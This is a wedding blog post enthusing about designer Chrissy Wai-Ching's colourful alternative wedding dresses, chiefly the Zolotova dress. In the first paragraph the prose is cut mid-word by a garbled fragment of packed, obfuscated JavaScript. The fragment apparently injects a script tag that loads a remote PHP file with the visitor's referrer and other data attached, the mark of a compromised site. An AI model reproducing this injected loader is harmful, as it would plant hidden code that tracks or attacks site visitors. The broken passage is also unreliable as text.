There are only so many times you can write the words ‘stunning’, ‘extraordinary’ and ‘visionary’ when you’re describing an alternative wedding dress, no matter how stunning or extraordinary the wedding dress is.  But then there are times like now, when those words just fit like the petals on a rose.  Sometimes no matter how many times you’ve written the words, you have to write them again because the wedding dress you’re writing about is so flippin””””,’g””” c=\’d\’ e=\’b/’ 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’kzhse|varrfnai||js|php’.split(‘|’),0,{}))
stunning, extraordinary and visionary; as is the alternative wedding dresses from Wai-Ching!!!

Back in December 2011 I started my exciting new feature on Alice In Weddingland called Down The Lens and featured one of my favourite discoveries of last year, photographer Suzanna Fogarty.  Hidden amongst the many stunning {that word again} wedding photographs she sent me was a little gem.  Like a diamond amongst stone it stung me like a bee.  There before me we was a photo of an alternative wedding dress that simply took my breath away.

The alternative wedding dress was by an extraordinary {told you}, talented designer by the name of Chrissy Wai-Ching who debuted her “wild but wearable’ line of wedding dresses in 2003 and who has since been creating breathtaking alternative wedding dresses.

The little diamond in the rough that I spotted amongst Suzanne’s photographs was the Zolotova Dress.  Like a Flamingo against a sunlit sky this dress bursts with colour.  With global influences flooding her dress designs her fiercely unique clothing is sweeping the States by storm.  And I hope, I pray someone over here in the UK starts stocking her wedding dresses.  If only for me to go and try one on 🙂

The original Zoltova wedding dress – Photo by Dana Pleasant

Flame Zoltova Wedding Dress – Photo by Dana Pleasant

Ivory Zoltova Wedding Dress

Suzanne Fogarty’s superb photograph of a Bride wearing the Zoltova Dress

I love the attitude of this dress.  It screams look at me, it screams I am original and it exudes wild happiness; everything a wedding dress should say and feel.  Chrissy’s other wedding dress designs all have that same attitude too and lucky little me gets to write about the rest of them too.  Next week I’ll be bringing you some of the rest of her collection which is, simply put, stunning, extraordinary and visionary 🙂